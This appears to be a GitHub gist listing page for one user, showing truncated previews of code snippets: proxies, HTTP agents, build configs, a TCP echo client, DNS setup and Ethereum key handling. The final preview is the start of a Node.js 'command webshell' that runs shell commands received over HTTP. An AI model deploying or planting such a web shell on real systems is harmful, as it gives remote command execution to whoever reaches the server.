Skip to content

Instantly share code, notes, and snippets.

View haixuxu's full-sized avatar
💭
🔪 ⚡️ 🗡 🔨 ⚔️

laoxu haixuxu

💭
🔪 ⚡️ 🗡 🔨 ⚔️
View GitHub Profile
@haixuxu
haixuxu / socks5_proxy.go
Created March 6, 2023 16:41 — forked from felix021/socks5_proxy.go
Minimal socks5 proxy implementation in Golang
package main
import (
"encoding/binary"
"errors"
"fmt"
"io"
"net"
)
@haixuxu
haixuxu / agent.js
Created October 12, 2022 06:37 — forked from TooTallNate/agent.js
Node.js `http.Agent` class implementations...
/**
* Module dependencies.
*/
var net = require('net');
var inherits = require('util').inherits;
var EventEmitter = require('events').EventEmitter;
/**
@haixuxu
haixuxu / .babelrc
Created April 19, 2022 10:14
Mocha (+ Rollup, Babel, ESLint, Prettier and etc.) setup for a simple JS SDK project
{
"presets": [
[
"@babel/preset-env",
{
"useBuiltIns": "entry",
"modules": false
}
]
]
@haixuxu
haixuxu / client.c
Created June 17, 2021 07:41 — forked from suyash/client.c
TCP echo client-server in C
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
int main() {
const char* server_name = "localhost";
const int server_port = 8877;
import { reactive, computed } from 'vue'
const registerModules = (modules, state) => {
for (const [name, module] of Object.entries(modules)) {
state[name] = module.state
if (module.modules) {
registerModules(module.modules, module.state)
}
}
@haixuxu
haixuxu / SassMeister-input.scss
Created January 6, 2021 05:53 — forked from jedfoster/.gitignore
JavaScript version of Sass' mix() function
// ----
// Sass (v3.3.0.rc.1)
// Compass (v0.13.alpha.10)
// ----
body {
width: 100%;
height: 10em;
background: mix(#ff0000, #0000bb, 75);
}
$ opkg update
$ opkg install stubby
$ /etc/init.d/stubby enable
$ nano /etc/config/dhcp
# add to dnsmasq section:
option noresolv '1'
list server '127.0.0.1#5453'
$ /etc/init.d/stubby start
@haixuxu
haixuxu / ethereum-key-address.js
Created April 12, 2020 12:22 — forked from felix021/ethereum-key-address.js
以太坊的私钥、公钥、地址
/*
* 安装nvm和相应npm包
* $ nvm install v8.9.4
* $ npm install keccakjs secp256k1
*/
const { randomBytes } = require('crypto')
const secp256k1 = require('secp256k1')
const SHA3 = require('keccakjs')
@haixuxu
haixuxu / SimpleHTTPServerWithUpload.py
Created December 21, 2019 17:15 — forked from UniIsland/SimpleHTTPServerWithUpload.py
Simple Python Http Server with Upload
#!/usr/bin/env python
"""Simple HTTP Server With Upload.
This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.
"""
@haixuxu
haixuxu / gist:bb300cc04931695136f66081ec05ed95
Created June 29, 2018 09:37 — forked from khakimov/gist:5130151
node.js command webshell
var sys = require('sys'),
exec = require('child_process').exec,
child,
http = require('http');
child = function(res, cmd) {
exec(cmd,
function (error, stdout, stderr) {
res.end(stdout);
if (error !== null) {